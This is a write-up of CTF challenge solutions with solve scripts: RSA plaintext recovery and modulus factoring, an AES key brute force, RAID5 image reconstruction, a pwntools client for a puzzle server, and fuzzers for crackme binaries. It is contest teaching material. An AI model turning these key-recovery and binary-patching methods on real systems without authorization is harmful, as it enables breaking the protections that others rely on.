由于寒假比较闲，所以找点比赛打。由于需要上交 wp，所以是英文的。

Crypto

RSA is easy #1

Since N is known, we can compute the encrypted value of each printable character. Then match them with the given encrypted flag, we can decrypt it.

  1. e=65537
  2. n=...
  4. s=[...(encrypted flag)]
  6. from gmpy2 import *
  8. f={}
  9. for j in range(32,127):
  10.     f[j**e%n]=j
  11. r=''
  12. for i in s:
  13.     r+=chr(f[i])
  14. print r

RSA is easy #2

We doesn’t know N, but we know that c=n^e\ mod\ N. So N is a factor of n^e-c. Then for two c, we can check all n, and calculate their gcd. Then just follow #1.

  1. from gmpy2 import *
  3. s=open('c').read()
  4. s1='Encrypted flag:'
  5. s=s[s.find(s1)+len(s1):]
  6. s=eval(s.strip())
  7. a=s[0]
  8. b=s[1]
  9. for i in range(97,97+26):
  10.     for j in range(97,97+26):
  11.         t=gcd(i**65537-a,j**65537-b)
  12.         if t>100:
  13.             print '|',t
  14.     print i

Prison Break

Maintain the difference of every two adjacent numbers.

  1. #include<bits/stdc++.h>
  3. typedef unsigned int uint;
  4. typedef long long ll;
  5. typedef unsigned long long ull;
  6. typedef double lf;
  7. typedef long double llf;
  8. typedef std::pair<int,int> pii;
  10. #define xx first
  11. #define yy second
  13. template<typename T> inline T max(T a,T b){return a>b?a:b;}
  14. template<typename T> inline T min(T a,T b){return a<b?a:b;}
  15. template<typename T> inline T abs(T a){return a>0?a:-a;}
  16. template<typename T> inline bool repr(T &a,T b){return a<b?a=b,1:0;}
  17. template<typename T> inline bool repl(T &a,T b){return a>b?a=b,1:0;}
  18. template<typename T> inline T gcd(T a,T b){T t;if(a<b){while(a){t=a;a=b%a;b=t;}return b;}else{while(b){t=b;b=a%b;a=t;}return a;}}
  19. template<typename T> inline T sqr(T x){return x*x;}
  20. #define mp(a,b) std::make_pair(a,b)
  21. #define pb push_back
  22. #define I __attribute__((always_inline))inline
  23. #define mset(a,b) memset(a,b,sizeof(a))
  24. #define mcpy(a,b) memcpy(a,b,sizeof(a))
  26. #define fo0(i,n) for(int i=0,i##end=n;i<i##end;i++)
  27. #define fo1(i,n) for(int i=1,i##end=n;i<=i##end;i++)
  28. #define fo(i,a,b) for(int i=a,i##end=b;i<=i##end;i++)
  29. #define fd0(i,n) for(int i=(n)-1;~i;i--)
  30. #define fd1(i,n) for(int i=n;i;i--)
  31. #define fd(i,a,b) for(int i=a,i##end=b;i>=i##end;i--)
  32. #define foe(i,x)for(__typeof((x).end())i=(x).begin();i!=(x).end();++i)
  33. #define fre(i,x)for(__typeof((x).rend())i=(x).rbegin();i!=(x).rend();++i)
  35. struct Cg{I char operator()(){return getchar();}};
  36. struct Cp{I void operator()(char x){putchar(x);}};
  37. #define OP operator
  38. #define RT return *this;
  39. #define UC unsigned char
  40. #define RX x=0;UC t=P();while((t<'0'||t>'9')&&t!='-')t=P();bool f=0;\
  41. if(t=='-')t=P(),f=1;x=t-'0';for(t=P();t>='0'&&t<='9';t=P())x=x*10+t-'0'
  42. #define RL if(t=='.'){lf u=0.1;for(t=P();t>='0'&&t<='9';t=P(),u*=0.1)x+=u*(t-'0');}if(f)x=-x
  43. #define RU x=0;UC t=P();while(t<'0'||t>'9')t=P();x=t-'0';for(t=P();t>='0'&&t<='9';t=P())x=x*10+t-'0'
  44. #define TR *this,x;return x;
  45. I bool IS(char x){return x==10||x==13||x==' ';}template<typename T>struct Fr{T P;I Fr&OP,(int&x)
  46. {RX;if(f)x=-x;RT}I OP int(){int x;TR}I Fr&OP,(ll &x){RX;if(f)x=-x;RT}I OP ll(){ll x;TR}I Fr&OP,(char&x)
  47. {for(x=P();IS(x);x=P());RT}I OP char(){char x;TR}I Fr&OP,(char*x){char t=P();for(;IS(t);t=P());if(~t){for(;!IS
  48. (t)&&~t;t=P())*x++=t;}*x++=0;RT}I Fr&OP,(lf&x){RX;RL;RT}I OP lf(){lf x;TR}I Fr&OP,(llf&x){RX;RL;RT}I OP llf()
  49. {llf x;TR}I Fr&OP,(uint&x){RU;RT}I OP uint(){uint x;TR}I Fr&OP,(ull&x){RU;RT}I OP ull(){ull x;TR}};Fr<Cg>in;
  50. #define WI(S) if(x){if(x<0)P('-'),x=-x;UC s[S],c=0;while(x)s[c++]=x%10+'0',x/=10;while(c--)P(s[c]);}else P('0')
  51. #define WL if(y){lf t=0.5;for(int i=y;i--;)t*=0.1;if(x>=0)x+=t;else x-=t,P('-');*this,(ll)(abs(x));P('.');if(x<0)\
  52. x=-x;while(y--){x*=10;x-=floor(x*0.1)*10;P(((int)x)%10+'0');}}else if(x>=0)*this,(ll)(x+0.5);else *this,(ll)(x-0.5);
  53. #define WU(S) if(x){UC s[S],c=0;while(x)s[c++]=x%10+'0',x/=10;while(c--)P(s[c]);}else P('0')
  54. template<typename T>struct Fw{T P;I Fw&OP,(int x){WI(10);RT}I Fw&OP()(int x){WI(10);RT}I Fw&OP,(uint x){WU(10);RT}
  55. I Fw&OP()(uint x){WU(10);RT}I Fw&OP,(ll x){WI(19);RT}I Fw&OP()(ll x){WI(19);RT}I Fw&OP,(ull x){WU(20);RT}I Fw&OP()
  56. (ull x){WU(20);RT}I Fw&OP,(char x){P(x);RT}I Fw&OP()(char x){P(x);RT}I Fw&OP,(const char*x){while(*x)P(*x++);RT}
  57. I Fw&OP()(const char*x){while(*x)P(*x++);RT}I Fw&OP()(lf x,int y){WL;RT}I Fw&OP()(llf x,int y){WL;RT}};Fw<Cp>out;
  59. int s[10000007];
  61. int main()
  62. {
  63.     freopen("Given_File.txt","r",stdin);
  64.     fo0(i,9999999)
  65.     {
  66.         int a,b,c;
  67.         in,a,b,c;
  68.         assert(a>=1&&a<=1000000000);
  69.         assert(b>=1&&b<=1000000000);
  70.         assert(c>=0&&c<=9);
  71.         assert(a<=b);
  72.         (s[a]+=c)%=10;
  73.         (s[b]+=10-c)%=10;
  74.     }
  75.     int r=1;
  76.     fo1(i,10000000)
  77.     {
  78.         (s[i]+=s[i-1])%=10;
  79.         (s[i]+=10)%=10;
  80.         if(s[i])r=(ll)r*s[i]%999999937;
  81.     }
  82.     out,r,'\n';
  83. }

Bad keys

\phi(n) is a factor of ed-1. So we can find phi(n).

Since pq=n,pq-p-q+1=\phi(n), we can find p and q.

The p in the keys are very similar, just like adjacent primes, so we can check some p and factorize n.

  1. n=...
  2. p=12117717634661447128647943483912040772241097914126380240028878917605920543320951000813217299678214801720664141663955381289172887935222185768875580129863163
  3. print(p)
  4. while n%p:
  5.     p-=1
  6. print(p)

Count on me

Consider the given key is a number under some strange base.

Guess each digits is divided in two parts, and they form a 20 base.

After guessing some ways to read the number, finally I found the flag.

（key.txt)

  1. N >N *NNN>N/N>/*//NNN// >> >>.>*./N>.NN/N>N  . /N >N>/>/>N/
  2. WN  V*\\NVW\WVN* NVNN WN\ \  . *.NN . N NWW\\.W\ W\\ NW N\W
  1. from Crypto.Cipher import AES
  3. c='059fd04bca4152a5938262220f822ed6997f9b4d9334db02ea1223c231d4c73bfbac61e7f4bf1c48001dca2fe3a75c975b0284486398c019259f4fee7dda8fec'.decode('hex')
  4. iv = '42042042042042042042042042042042'.decode('hex')
  6. def chk(key):
  7.     aes = AES.new(key,AES.MODE_CBC, iv)
  8.     r=aes.decrypt(c)
  9.     for i in r:
  10.         if ord(i)<32 or ord(i)>126:
  11.             return False
  12.     print(r)
  13.     return True
  15. def chkn(x):
  16.     r=''
  17.     for i in range(32):
  18.         r+=chr(x&255)
  19.         x>>=8
  20.     assert x==0
  21.     r=r[::-1]
  22.     return chk(r)
  24. a,b=open('key.txt').readlines()[:2]
  25. a=a.strip()
  26. b=b.strip()
  27. va={'>':2, '/':1, 'N':3, ' ':0, '.':0}
  28. vb={'N':3, 'W':4, ' ':0, '\\':1, '.':0, 'V':2}
  29. unk=[]
  30. tot=0
  31. for i in range(59):
  32.     p=58-i
  33.     po=20**i
  34.     if a[p]=='*':
  35.         assert b[p]=='*'
  36.         unk.append((po,i))
  37.     else:
  38.         tot+=(va[a[p]]*5+vb[b[p]])*po
  40. def dfs(x,cur):
  41.     if x==len(unk):
  42.         return chkn(cur)
  43.     for i in range(20):
  44.         dfs(x+1,cur+unk[x][0]*i)
  46. dfs(0,tot)

Forensics

RR

It seems to be raid5. After some observation, I found the way to decrypt it.

(decrypt script, 2.img is the xor of 1.img and 3.img)

  1. #include<bits/stdc++.h>
  3. typedef unsigned int uint;
  4. typedef long long ll;
  5. typedef unsigned long long ull;
  6. typedef double lf;
  7. typedef long double llf;
  8. typedef std::pair<int,int> pii;
  10. #define xx first
  11. #define yy second
  13. template<typename T> inline T max(T a,T b){return a>b?a:b;}
  14. template<typename T> inline T min(T a,T b){return a<b?a:b;}
  15. template<typename T> inline T abs(T a){return a>0?a:-a;}
  16. template<typename T> inline bool repr(T &a,T b){return a<b?a=b,1:0;}
  17. template<typename T> inline bool repl(T &a,T b){return a>b?a=b,1:0;}
  18. template<typename T> inline T gcd(T a,T b){T t;if(a<b){while(a){t=a;a=b%a;b=t;}return b;}else{while(b){t=b;b=a%b;a=t;}return a;}}
  19. template<typename T> inline T sqr(T x){return x*x;}
  20. #define mp(a,b) std::make_pair(a,b)
  21. #define pb push_back
  22. #define I __attribute__((always_inline))inline
  23. #define mset(a,b) memset(a,b,sizeof(a))
  24. #define mcpy(a,b) memcpy(a,b,sizeof(a))
  26. #define fo0(i,n) for(int i=0,i##end=n;i<i##end;i++)
  27. #define fo1(i,n) for(int i=1,i##end=n;i<=i##end;i++)
  28. #define fo(i,a,b) for(int i=a,i##end=b;i<=i##end;i++)
  29. #define fd0(i,n) for(int i=(n)-1;~i;i--)
  30. #define fd1(i,n) for(int i=n;i;i--)
  31. #define fd(i,a,b) for(int i=a,i##end=b;i>=i##end;i--)
  32. #define foe(i,x)for(__typeof((x).end())i=(x).begin();i!=(x).end();++i)
  33. #define fre(i,x)for(__typeof((x).rend())i=(x).rbegin();i!=(x).rend();++i)
  35. struct Cg{I char operator()(){return getchar();}};
  36. struct Cp{I void operator()(char x){putchar(x);}};
  37. #define OP operator
  38. #define RT return *this;
  39. #define UC unsigned char
  40. #define RX x=0;UC t=P();while((t<'0'||t>'9')&&t!='-')t=P();bool f=0;\
  41. if(t=='-')t=P(),f=1;x=t-'0';for(t=P();t>='0'&&t<='9';t=P())x=x*10+t-'0'
  42. #define RL if(t=='.'){lf u=0.1;for(t=P();t>='0'&&t<='9';t=P(),u*=0.1)x+=u*(t-'0');}if(f)x=-x
  43. #define RU x=0;UC t=P();while(t<'0'||t>'9')t=P();x=t-'0';for(t=P();t>='0'&&t<='9';t=P())x=x*10+t-'0'
  44. #define TR *this,x;return x;
  45. I bool IS(char x){return x==10||x==13||x==' ';}template<typename T>struct Fr{T P;I Fr&OP,(int&x)
  46. {RX;if(f)x=-x;RT}I OP int(){int x;TR}I Fr&OP,(ll &x){RX;if(f)x=-x;RT}I OP ll(){ll x;TR}I Fr&OP,(char&x)
  47. {for(x=P();IS(x);x=P());RT}I OP char(){char x;TR}I Fr&OP,(char*x){char t=P();for(;IS(t);t=P());if(~t){for(;!IS
  48. (t)&&~t;t=P())*x++=t;}*x++=0;RT}I Fr&OP,(lf&x){RX;RL;RT}I OP lf(){lf x;TR}I Fr&OP,(llf&x){RX;RL;RT}I OP llf()
  49. {llf x;TR}I Fr&OP,(uint&x){RU;RT}I OP uint(){uint x;TR}I Fr&OP,(ull&x){RU;RT}I OP ull(){ull x;TR}};Fr<Cg>in;
  50. #define WI(S) if(x){if(x<0)P('-'),x=-x;UC s[S],c=0;while(x)s[c++]=x%10+'0',x/=10;while(c--)P(s[c]);}else P('0')
  51. #define WL if(y){lf t=0.5;for(int i=y;i--;)t*=0.1;if(x>=0)x+=t;else x-=t,P('-');*this,(ll)(abs(x));P('.');if(x<0)\
  52. x=-x;while(y--){x*=10;x-=floor(x*0.1)*10;P(((int)x)%10+'0');}}else if(x>=0)*this,(ll)(x+0.5);else *this,(ll)(x-0.5);
  53. #define WU(S) if(x){UC s[S],c=0;while(x)s[c++]=x%10+'0',x/=10;while(c--)P(s[c]);}else P('0')
  54. template<typename T>struct Fw{T P;I Fw&OP,(int x){WI(10);RT}I Fw&OP()(int x){WI(10);RT}I Fw&OP,(uint x){WU(10);RT}
  55. I Fw&OP()(uint x){WU(10);RT}I Fw&OP,(ll x){WI(19);RT}I Fw&OP()(ll x){WI(19);RT}I Fw&OP,(ull x){WU(20);RT}I Fw&OP()
  56. (ull x){WU(20);RT}I Fw&OP,(char x){P(x);RT}I Fw&OP()(char x){P(x);RT}I Fw&OP,(const char*x){while(*x)P(*x++);RT}
  57. I Fw&OP()(const char*x){while(*x)P(*x++);RT}I Fw&OP()(lf x,int y){WL;RT}I Fw&OP()(llf x,int y){WL;RT}};Fw<Cp>out;
  59. int main()
  60. {
  61.     FILE*fa=fopen("1.img","rb"),*fb=fopen("2.img","rb"),*fc=fopen("3.img","rb"),*fr=fopen("res.img","wb");
  62.     const int N=8192*65536,A=8192,B=N/A;
  63.     fo0(i,A)
  64.     {
  65.         unsigned char f[B];
  66.         if(i%3==0)
  67.         {
  68.             fread(f,1,B,fb);
  69.             fread(f,1,B,fc);
  70.             fwrite(f,1,B,fr);
  71.             fread(f,1,B,fa);
  72.             fwrite(f,1,B,fr);
  73.         }
  74.         else if(i%3==1)
  75.         {
  76.             fread(f,1,B,fa);
  77.             fread(f,1,B,fb);
  78.             fwrite(f,1,B,fr);
  79.             fread(f,1,B,fc);
  80.             fwrite(f,1,B,fr);
  81.         }
  82.         else
  83.         {
  84.             fread(f,1,B,fc);
  85.             fread(f,1,B,fa);
  86.             fwrite(f,1,B,fr);
  87.             fread(f,1,B,fb);
  88.             fwrite(f,1,B,fr);
  89.         }
  90.     }
  91. }

However, this result image seems to be broken (maybe because of header).

I ran binwalk on this image, and it found a jpg file. That’s the flag.

Misc

Romanian Gibberish

Remove p and the letter after it.

The dragon sleeps at night

Work, buy level 1 sword, sleep -5 days, then go to the dragon.

CHIP 8 /1

F X 29 can load protected address into I.

D X Y N can read protected memory and show them.

  1. 6015
  2. F029
  3. D11F

CHIP 8 /2

The last 512 bytes is executable, just jump there and check “Last instruction”.

Shifty

First, we can find some way to rotate (x_0,y_0),(x_0,y_1),(x_1,y_0). (Just consider (0,0)\to(0,1)\to (1,0))

It requires 2n (n is board size) operations.

For a level, we can solve it by such rotation.

For first three levels, it’s enough. But for level 4, we need to find out what’s the real operation. This is not difficult to be done.

For level 5, we can only guess, and then run this until it succeeds.

  1. from pwn import *
  2. from copy import deepcopy
  3. import random
  5. r=remote('138.68.67.161',60006)
  7. rs=[]
  8. chrs={}
  9. cnts={}
  11. def work_level(id):
  12.     global rs,chrs,cnts
  13.     r.recvuntil('Level %d\n'%id)
  14.     r.recvuntil('Your target:\n')
  15.     r.recvuntil('  ')
  16.     s=r.recvuntil('\n')
  17.     us=s[:]
  18.     m=len(s.strip().split())
  19.     n=0
  20.     req=[]
  21.     while True:
  22.         s=r.recvuntil('\n').decode()
  23.         if len(s)<2:
  24.             break
  25.         n+=1
  26.         req.append(s.strip().split(' ')[1:])
  27.     print(n,m,req)
  28.     r.recvuntil('Current board:\n\n')
  29.     r.recvuntil('\n')
  30.     cur=[]
  31.     for i in range(n):
  32.         s=r.recvuntil('\n').decode()
  33.         cur.append(s.strip().split(' ')[1:])
  34.     print(cur)
  35.     for i in range(n):
  36.         print(' '.join(cur[i]))
  37.     print(r.recvuntil('Enter'))
  38.     print(r.recvuntil(': '))
  40.     def rotx(x,u=None):
  41.         global rs
  42.         if x in chrs:
  43.             rs.append(chrs[x])
  44.         else:
  45.             rs.append(chr(x+65))
  46.         for T in range(cnts[x]):
  47.             t=cur[x]
  48.             cur[x]=t[1:]+t[:1]
  49.             if u is not None:
  50.                 for t in u:
  51.                     if t[0]==x:
  52.                         t[1]=(t[1]-1)%m
  54.     def roty(y,u=None):
  55.         global rs
  56.         if -y-1 in chrs:
  57.             rs.append(chrs[-y-1])
  58.         else:
  59.             rs.append(str(y))
  60.         for T in range(cnts[-y-1]):
  61.             t=cur[0][y]
  62.             for i in range(n-1):
  63.                 cur[i][y]=cur[i+1][y]
  64.             cur[n-1][y]=t
  65.             if u is not None:
  66.                 for t in u:
  67.                     if t[1]==y:
  68.                         t[0]=(t[0]-1)%n
  70.     t=[]
  71.     for i in range(n):
  72.         t.append(chr(i+65))
  73.     for i in range(m):
  74.         t.append(str(i))
  75.     if id==5:
  76.         t=[]
  77.         for i in range(n):
  78.             t.append(chr(i+65))
  79.         random.shuffle(t)
  80.         for i in range(n):
  81.             chrs[i]=t[i]
  82.         t=[]
  83.         for i in range(m):
  84.             t.append(str(i))
  85.         random.shuffle(t)
  86.         for i in range(m):
  87.             chrs[-i-1]=t[i]
  88.     else:
  89.         chrs={}
  90.         cnts={}
  91.         for i in range(-m,n):
  92.             cnts[i]=1
  93.         if id<=3:
  94.             for i in range(n):
  95.                 chrs[i]=chr(i+65)
  96.             for i in range(m):
  97.                 chrs[-i-1]=str(i)
  98.         else:
  99.             for ch in t:
  100.                 #print(ch)
  101.                 r.send(ch+'\n')
  102.                 while True:
  103.                     s=r.recvuntil('\n')
  104.                     #print(s,us)
  105.                     if s.strip()==us.strip():
  106.                         break
  107.                 cur2=[]
  108.                 for i in range(n):
  109.                     s=r.recvuntil('\n').decode()
  110.                     cur2.append(s.strip().split(' ')[1:])
  111.                 diff=[]
  112.                 for i in range(n):
  113.                     for j in range(m):
  114.                         if cur[i][j]!=cur2[i][j]:
  115.                             diff.append((i,j))
  116.                 assert len(diff)==n or len(diff)==m
  117.                 xs=set();ys=set()
  118.                 for i in diff:
  119.                     xs.add(i[0])
  120.                     ys.add(i[1])
  121.                 if len(xs)==1:
  122.                     for u in xs:
  123.                         x=u
  124.                     cnt=0
  125.                     while cur!=cur2:
  126.                         rotx(x)
  127.                         cnt+=1
  128.                     assert cnt==1 or (cnt+1)%m==0
  129.                     chrs[x]=ch
  130.                     cnts[x]=cnt
  131.                 else:
  132.                     assert len(ys)==1
  133.                     for u in ys:
  134.                         y=u
  135.                     cnt=0
  136.                     while cur!=cur2:
  137.                         roty(y)
  138.                         cnt+=1
  139.                     assert cnt==1 or (cnt+1)%n==0
  140.                     chrs[-y-1]=ch
  141.                     cnts[-y-1]=cnt
  142.                 #print(ch,cur)
  143.     print(chrs)
  144.     print(cnts)
  145.     #exit()
  147.     rs=[]
  149.     def work(x,y,z):
  150.         #x<-y y<-z z<-x y is pivot
  151.         u=[list(x),list(y),list(z)]
  152.         if x[0]==y[0]:
  153.             assert x[1]!=y[1] and y[0]!=z[0] and y[1]==z[1]
  154.             while u[2]!=list(y):
  155.                 roty(y[1],u)
  156.             while u[0]!=list(y):
  157.                 rotx(y[0],u)
  158.             while u[0]!=list(z):
  159.                 roty(y[1],u)
  160.             while u[2]!=list(y):
  161.                 rotx(y[0],u)
  162.         else:
  163.             assert x[1]==y[1] and y[0]==z[0] and y[1]!=z[1]
  164.             while u[2]!=list(y):
  165.                 rotx(y[0],u)
  166.             while u[0]!=list(y):
  167.                 roty(y[1],u)
  168.             while u[0]!=list(z):
  169.                 rotx(y[0],u)
  170.             while u[2]!=list(y):
  171.                 roty(y[1],u)
  173.     for i in range(n-1):
  174.         for j in range(m):
  175.             if i==n-2 and j==m-1:
  176.                 break
  177.             for k in range(n):
  178.                 for l in range(m):
  179.                     if req[i][j]==cur[k][l]:
  180.                         x=k;y=l
  181.                         break
  182.             if i==x and j==y:
  183.                 continue
  184.             if i!=x and j!=y:
  185.                 assert x>i
  186.                 work((x,y),(x,j),(i,j))
  187.             elif i==x:
  188.                 t=0
  189.                 while j==t or y==t:
  190.                     t+=1
  191.                 work((x,y),(x+1,y),(x+1,t))
  192.                 work((x+1,t),(x+1,j),(i,j))
  193.             else:
  194.                 assert j==y
  195.                 if i!=n-2:
  196.                     t=1 if y==0 else 0
  197.                     u=n-1 if x!=n-1 else n-2
  198.                     work((x,y),(u,y),(u,t))
  199.                     work((u,t),(u,y),(i,j))
  200.                 else:
  201.                     work((x,y),(x,y+1),(i,y+1))
  202.                     x=i;y+=1
  203.                     t=0
  204.                     while j==t or y==t:
  205.                         t+=1
  206.                     work((x,y),(x+1,y),(x+1,t))
  207.                     work((x+1,t),(x+1,j),(i,j))
  208.             #print(i,j,cur)
  209.             assert cur[i][j]==req[i][j]
  210.     #print(cur)
  211.     for i in range(m-1):
  212.         for k in range(n):
  213.             for l in range(m):
  214.                 if req[n-1][i]==cur[k][l]:
  215.                     x=k;y=l
  216.                     break
  217.         if n-1==x and i==y:
  218.             continue
  219.         if x==n-1 and y==m-1:
  220.             work((n-1,i),(x,y),(n-2,m-1))
  221.             continue
  222.         if x==n-1:
  223.             work((x,y),(x,m-1),(n-2,m-1))
  224.             x=n-2
  225.             y=m-1
  226.         assert x==n-2 and y==m-1
  227.         work((x,y),(n-1,y),(n-1,i))
  228.         #print(i,cur)
  229.     print(cur)
  230.     #print(rs)
  231.     #exit()
  233.     ST=10000
  234.     for i in range(0,len(rs),ST):
  235.         r.send(','.join(rs[i:i+ST])+'\n')
  236.         if i+ST>=len(rs):
  237.             #r.interactive()
  238.             #exit()
  239.             break
  240.         print(r.recvuntil('Enter'))
  241.         print(r.recvuntil(': '))
  243. for i in range(1,6):
  244.     print('work_level:',i)
  245.     work_level(i)
  246. #r.interactive()
  247. print(r.recvuntil('\n'))
  248. tt=r.recv(10)
  249. print(tt)
  250. if tt==b'Enter 0-3 ':
  251.     exit()
  252. r.interactive()

Rev

baby bear

If we change some position of input, some suffix of the output will change.

So we can fuzz it. (In fact, it’s bfs or maybe A*)

  1. import pexpect,heapq
  3. def work(s):
  4.     p=pexpect.spawn(['./baby_bear_bak'])
  5.     p.read(613)
  6.     p.write(s+b'\n')
  7.     res=p.read(100)
  8.     t=res.find(b'\r\n')
  9.     return res[t+2:t+48]
  11. def bitxor(s,x):
  12.     xt=x>>3
  13.     return s[:xt]+bytes([s[xt]^(1<<(x&7))])+s[xt+1:]
  15. target=b'1100011010101011000100101011000101001011111000'
  17. def cal(s):
  18.     t=work(s)
  19.     c=0
  20.     while c<46 and target[c]==t[c]:
  21.         c+=1
  22.     return c
  24. def u(x,y):
  25.     return x-y*2.5
  27. st=b'0'*16
  28. sc=cal(st)
  29. q=[(u(0,sc),sc,0,st)]
  30. while True:
  31.     tt,sc,cur,s=heapq.heappop(q)
  32.     print(sc,cur,s)
  33.     if sc==46:
  34.         print()
  35.         print(s.decode()[:-2])
  36.         break
  37.     t=bitxor(s,cur)
  38.     flag=True
  39.     for i in t:
  40.         if i<32 or i>127:
  41.             flag=False
  42.     if flag:
  43.         ns=cal(t)
  44.         heapq.heappush(q,(u(cur+1,ns),ns,cur+1,t))
  45.     heapq.heappush(q,(u(cur+1,sc),sc,cur+1,s))

papa bear

It shows similar features to baba bear, so we can also fuzz.

  1. import os,pexpect,heapq
  3. def uu(s):
  4.     r=''
  5.     for i in s:
  6.         if i=='M':
  7.             r+='0'
  8.         elif i=='W':
  9.             r+='1'
  10.     return r
  12. def work(s):
  13.     #p=pexpect.spawn('./papa_bear '+s.decode())
  14.     os.system('./papa_bear "'+s.decode().replace('\\','\\\\').replace('"','\\"').replace('`','\\`')+'" 0>out.txt')
  15.     return uu(open('out.txt').read())
  17. def bitxor(s,x):
  18.     xt=x>>3
  19.     return s[:xt]+bytes([s[xt]^(1<<(x&7))])+s[xt+1:]
  21. #print(work('1231231231231234'))
  22. #print(work(b'\0'*16))
  23. #print(work(bitxor(b'\0'*16,10)))
  25. target=uu(open('sample.txt').read())
  26. print(len(target),target)
  27. print(len(work(b'0'*100)))
  29. def cal(s):
  30.     t=work(s)
  31.     c=0
  32.     while c<275 and target[c]==t[c]:
  33.         c+=1
  34.     return c
  36. def u(x,y):
  37.     return x-y*2
  38.     #return -y
  40. st=b'HackTM{F4th3r b'+b'0'*80
  41. sc=cal(st)
  42. q=[(u(0,sc),sc,0,st)]
  43. L=4
  44. while True:
  45.     tt,sc,cur,s=heapq.heappop(q)
  46.     print(sc,cur,s)
  47.     if sc==275:
  48.         print()
  49.         print(s.decode()[:-2])
  50.         break
  51.     for j in range(1,1<<L):
  52.         t=s
  53.         for k in range(L):
  54.             if j>>k&1:
  55.                 t=bitxor(t,cur+k)
  56.         flag=True
  57.         for i in t:
  58.             if i<32 or i>126:
  59.                 flag=False
  60.         if flag:
  61.             ns=cal(t)
  62.             heapq.heappush(q,(u(cur+L,ns),ns,cur+L,t))
  63.     heapq.heappush(q,(u(cur+L,sc),sc,cur+L,s))

hackdex

The binary translates words from a dictionary, and there’s an hidden option 9.

That requires pro user, and we patched it at 0xec64.

The option 9 requires 6 words, and checks them using contains_key. Then it connects these words and checks their sha256, and finally use it as the key of chacha to get the flag.

However, these hash tables were empty, so it’s difficult to know which words are required.

Then the hint gives the Boggle game, and https://github.com/AmokHuginnsson/boggle-solvers/blob/master/solve.py tells us the rules.

So we can find the words for the 6 groups.

  1. char s0[C0][9]={"ear","lea","ina","rae","ran","air","rig","inn","ann","gin","zen","ira","ian","ria","raze","rain","rani","anne","ring","nine","naze","earn","lean","lear","near","iran","rang","arnel","learn","enring","earing","leaning","learning"};
  2. char s1[C1][9]={"rut","tui","ilk","run","nub","urn","kif","uri","but","nut","fur","fun","tub","bun","bur","tun","fir","urb","rub","tur","rif","turn","burn","turf","fril","klut","bulk"};
  3. char s2[C2][9]={"red","ref","fed","end","per","ina","pre","pea","and","ape","dan","pan","den","ned","ire","pad","nap","dap","fen","rep","ind","pen","pend","edna","dane","erin","dean","reap","read","rein","pean","nape","fern","rend","rena","rind","pane","deni","fend","redan","fried","freda","upend","repand","friend","pander","frieda"};
  4. char s3[C3][9]={"neb","ten","tea","hen","wen","vex","net","men","twx","mae","bet","hew","tew","new","the","web","man","hex","vet","ham","wet","name","benz","amen","newt","team","then","bean","beam","anet","than","mane","anew","hebe","next","wean","thane","enema","ethane"};
  5. char s4[C4][11]={"cur","nor","rum","iou","nim","rue","con","cor","cog","cox","ore","cou","roc","ron","our","nog","gon","cue","vum","ion","rev","com","coin","crux","goum","core","over","ovum","roux","gore","more","mure","omni","cure","roue","oxon","minor","incog","incur","curve","cumin","coming","incurve","overcoming"};
  6. char s5[C5][9]={"ass","nil","ali","oap","iso","alp","spa","oil","sal","asp","ila","sos","ion","lap","sap","pal","sin","son","lisp","slap","also","laos","soap","pass","lion","lino","sion","pali","lass","noil","zion","soil","silas","lasso","passion"};

Then just brute force the sha256.

  1. #include<bits/stdc++.h>
  3. typedef unsigned int uint;
  4. typedef long long ll;
  5. typedef unsigned long long ull;
  6. typedef double lf;
  7. typedef long double llf;
  8. typedef std::pair<int,int> pii;
  10. #define xx first
  11. #define yy second
  13. template<typename T> inline T max(T a,T b){return a>b?a:b;}
  14. template<typename T> inline T min(T a,T b){return a<b?a:b;}
  15. template<typename T> inline T abs(T a){return a>0?a:-a;}
  16. template<typename T> inline bool repr(T &a,T b){return a<b?a=b,1:0;}
  17. template<typename T> inline bool repl(T &a,T b){return a>b?a=b,1:0;}
  18. template<typename T> inline T gcd(T a,T b){T t;if(a<b){while(a){t=a;a=b%a;b=t;}return b;}else{while(b){t=b;b=a%b;a=t;}return a;}}
  19. template<typename T> inline T sqr(T x){return x*x;}
  20. #define mp(a,b) std::make_pair(a,b)
  21. #define pb push_back
  22. #define I __attribute__((always_inline))inline
  23. #define mset(a,b) memset(a,b,sizeof(a))
  24. #define mcpy(a,b) memcpy(a,b,sizeof(a))
  26. #define fo0(i,n) for(int i=0,i##end=n;i<i##end;i++)
  27. #define fo1(i,n) for(int i=1,i##end=n;i<=i##end;i++)
  28. #define fo(i,a,b) for(int i=a,i##end=b;i<=i##end;i++)
  29. #define fd0(i,n) for(int i=(n)-1;~i;i--)
  30. #define fd1(i,n) for(int i=n;i;i--)
  31. #define fd(i,a,b) for(int i=a,i##end=b;i>=i##end;i--)
  32. #define foe(i,x)for(__typeof((x).end())i=(x).begin();i!=(x).end();++i)
  33. #define fre(i,x)for(__typeof((x).rend())i=(x).rbegin();i!=(x).rend();++i)
  35. struct Cg{I char operator()(){return getchar();}};
  36. struct Cp{I void operator()(char x){putchar(x);}};
  37. #define OP operator
  38. #define RT return *this;
  39. #define UC unsigned char
  40. #define RX x=0;UC t=P();while((t<'0'||t>'9')&&t!='-')t=P();bool f=0;\
  41. if(t=='-')t=P(),f=1;x=t-'0';for(t=P();t>='0'&&t<='9';t=P())x=x*10+t-'0'
  42. #define RL if(t=='.'){lf u=0.1;for(t=P();t>='0'&&t<='9';t=P(),u*=0.1)x+=u*(t-'0');}if(f)x=-x
  43. #define RU x=0;UC t=P();while(t<'0'||t>'9')t=P();x=t-'0';for(t=P();t>='0'&&t<='9';t=P())x=x*10+t-'0'
  44. #define TR *this,x;return x;
  45. I bool IS(char x){return x==10||x==13||x==' ';}template<typename T>struct Fr{T P;I Fr&OP,(int&x)
  46. {RX;if(f)x=-x;RT}I OP int(){int x;TR}I Fr&OP,(ll &x){RX;if(f)x=-x;RT}I OP ll(){ll x;TR}I Fr&OP,(char&x)
  47. {for(x=P();IS(x);x=P());RT}I OP char(){char x;TR}I Fr&OP,(char*x){char t=P();for(;IS(t);t=P());if(~t){for(;!IS
  48. (t)&&~t;t=P())*x++=t;}*x++=0;RT}I Fr&OP,(lf&x){RX;RL;RT}I OP lf(){lf x;TR}I Fr&OP,(llf&x){RX;RL;RT}I OP llf()
  49. {llf x;TR}I Fr&OP,(uint&x){RU;RT}I OP uint(){uint x;TR}I Fr&OP,(ull&x){RU;RT}I OP ull(){ull x;TR}};Fr<Cg>in;
  50. #define WI(S) if(x){if(x<0)P('-'),x=-x;UC s[S],c=0;while(x)s[c++]=x%10+'0',x/=10;while(c--)P(s[c]);}else P('0')
